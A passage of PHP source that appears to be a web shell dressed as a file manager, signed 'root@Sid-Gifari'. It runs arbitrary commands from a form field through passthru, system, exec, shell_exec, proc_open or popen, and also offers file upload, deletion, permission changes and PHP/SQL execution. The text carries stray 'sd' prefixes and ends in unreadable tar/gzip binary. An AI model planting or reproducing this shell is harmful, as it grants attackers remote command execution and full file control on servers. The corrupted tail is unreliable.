        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   index.php.php.tar.gz                                                                                0000644                 00000063112 15243251040 0010355 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
